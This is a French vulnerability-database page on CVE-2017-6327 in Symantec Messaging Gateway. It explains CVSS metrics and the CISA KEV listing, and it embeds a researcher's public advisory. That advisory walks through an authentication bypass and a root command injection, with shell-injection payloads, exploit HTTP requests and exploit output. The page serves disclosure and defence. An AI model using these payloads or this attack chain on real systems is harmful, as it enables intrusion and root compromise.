CVE-2017-6327 : Détail

CVE-2017-6327

8.8
/
Haute
Command Injection
A03-Injection
35.96%V3
Network
2017-08-11
20h00 +00:00
2025-02-07
13h16 +00:00
CVE.org
NVD
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Descriptions du CVE

The Symantec Messaging Gateway before 10.6.3-267 can encounter an issue of remote code execution, which describes a situation whereby an individual may obtain the ability to execute commands remotely on a target machine or in a target process. In this type of occurrence, after gaining access to the system, the attacker may attempt to elevate their privileges.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.
CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P nvd@nist.gov

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Symantec Messaging Gateway Remote Code Execution Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2021-11-02 23h00 +00:00

Action attendue : 2022-05-02 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 42519

Date de publication : 2017-08-17 22h00 +00:00
Auteur : Philip Pettersson
EDB Vérifié : Yes

This is an advisory for CVE-2017-6327 which is an unauthenticated remote code execution flaw in the web interface of Symantec Messaging Gateway prior to and including version 10.6.3-2, which can be used to execute commands as root. Symantec Messaging Gateway, formerly known as Brightmail, is a linux-based anti-spam/security product for e-mail servers. It is deployed as a physical device or with ESX in close proximity to the servers it is designed to protect. =*=*=*=*=*=*=*=*= TIMELINE 2017-07-07: Reported to Symantec 2017-08-10: Patch and notice released by Symantec [1] 2017-08-18: Public technical advisory =*=*=*=*=*=*=*=*= DESCRIPTION - Bug #1: Web authentication bypass The web management interface is available via HTTPS, and you can't do much without logging in. If the current session (identified by the `JSESSIONID` cookie) has the `user` attribute set, the session is considered authenticated. The file LoginAction.class defines a number of public methods and they can all be reached via unauthenticated web requests. By making a GET request to `/brightmail/action1.do?method=method_name` we can execute `LoginAction.method_name` if `method_name` is a public method. One such public method which will be the target of our authentication bypass is called `LoginAction.notificationLogin`. It does the following: 1. Decrypt the `notify` parameter using `BrightmailDecrypt.decrypt` 2. Creates a new `UserTO` object using the decrypted `notify` parameter as an email value 3. Creates a new session, invalidating the old one if necessary 4. Sets the `user` attribute of the newly created session to our constructed UserTO object It essentially takes a username value from a GET parameter and logs you in as this user if it exists. If not, it creates this user for you. We need to encrypt our `notify` argument so that `BrightmailDecrypt.decrypt` will decrypt it properly. Fortunately the encryption is just PBEWithMD5AndDES using a static password, conveniently included in the code itself. I won't include the encryption password or a fully encrypted notify string in this post. Example request: GET /brightmail/action1.do?method=notificationLogin&notify=MTIzNDU2Nzg%3d6[...]&id=test HTTP/1.1 ... HTTP/1.1 302 Found Server: Apache-Coyote/1.1 ... Set-Cookie: JSESSIONID=9E45E9F70FAC0AADAC9EB7A03532F65D; Path=/brightmail; Secure; HttpOnly - Bug #2: Command injection The RestoreAction.performRestore method can be reached with an authenticated session and it takes the restoreSource and localBackupFilename parameters. After a long chain of function calls, localBackupFilename ends up being sent to the local "bmagent" daemon listening on port 41002. It will execute /opt/Symantec/Brightmail/cli/bin/db-restore with argv[1] being our supplied value. The db-restore script is a sudo wrapper for /opt/Symantec/Brightmail/cli/sbin/db-restore, which in turn is a perl script containing a command injection in a call to /usr/bin/du. $ /opt/Symantec/Brightmail/cli/bin/db-restore 'asdf;"`id`";' /usr/bin/du: cannot access `/data/backups/asdf': No such file or directory sh: uid=0(root) gid=0(root) groups=0(root): command not found ERROR: Failed to copy 'asdf;"`id`";' from local backup store: No such file or directory This command injection can be exploited from the web management interface with a valid session, which we can create using bug #1. - Combining bug #1 and #2 The last step is to get a CSRF token since the vulnerable performRestore function is annotated with @CSRF. After some quick digging it turns out that all you need to do is call /brightmail/common.jsp to get a token that will be valid for all your requests. The URL-encoded value we provide for the `localBackupFileSelection` parameter is: asdf`id>/data/bcc/webapps/brightmail/output.txt;/bin/uname -a>>/data/bcc/webapps/brightmail/output.txt`hehehe Request: GET /brightmail/admin/restore/action5.do?method=performRestore&symantec.brightmail.key.TOKEN=bbda9b0a52bca4a43cc2b6051cd6b95900068cd3&restoreSource=APPLIANCE&localBackupFileSelection=%61%73%64%66%60%69%64%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%3b%2f%62%69%6e%2f%75%6e%61%6d%65%20%2d%61%3e%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%60%68%65%68%65%68%65 HTTP/1.1 Host: 192.168.205.220 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Cookie: JSESSIONID=34D61B34698831DB765A9DD5E0049D0B Connection: close Upgrade-Insecure-Requests: 1 Response: HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-store,no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Frame-Options: SAMEORIGIN Content-Type: text/html;charset=UTF-8 Content-Length: 803 Date: Thu, 29 Jun 2017 06:48:12 GMT Connection: close <HTML> <title>Symantec Messaging Gateway -&nbsp;Restore</title> ... Now to confirm that our command output was correctly placed in a file inside the webroot. imac:~% curl -k https://192.168.205.220/brightmail/output.txt uid=0(root) gid=0(root) groups=0(root) Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux =*=*=*=*=*=*=*=*= EXPLOIT OUTPUT imac:~/brightmail% python brightmail-rce.py https://192.168.205.220/brightmail bypassing login.. * JSESSIONID=693079639299816F80016123BE8A0167 verifying login bypass.. * Version: 10.6.3 getting csrf token.. * 1e35af8c567d3448a65c8516a835cec30b6b8b73 done, verifying.. uid=501(bcc) gid=99(nobody) euid=0(root) egid=0(root) groups=0(root),99(nobody),499(mysql),502(bcc) Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux # cat /etc/issue Symantec Messaging Gateway Version 10.6.3-2 Copyright (c) 1998-2017 Symantec Corporation. All rights reserved. =*=*=*=*=*=*=*=*= REFERENCES [1] https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20170810_00 =*=*=*=*=*=*=*=*= CREDIT Philip Pettersson

Products Mentioned

Configuraton 0

Symantec>>Message_gateway >> Version To (excluding) 10.6.3-267

Références

http://seclists.org/fulldisclosure/2017/Aug/28
Tags : mailing-list, x_refsource_FULLDISC
https://www.exploit-db.com/exploits/42519/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/100135
Tags : vdb-entry, x_refsource_BID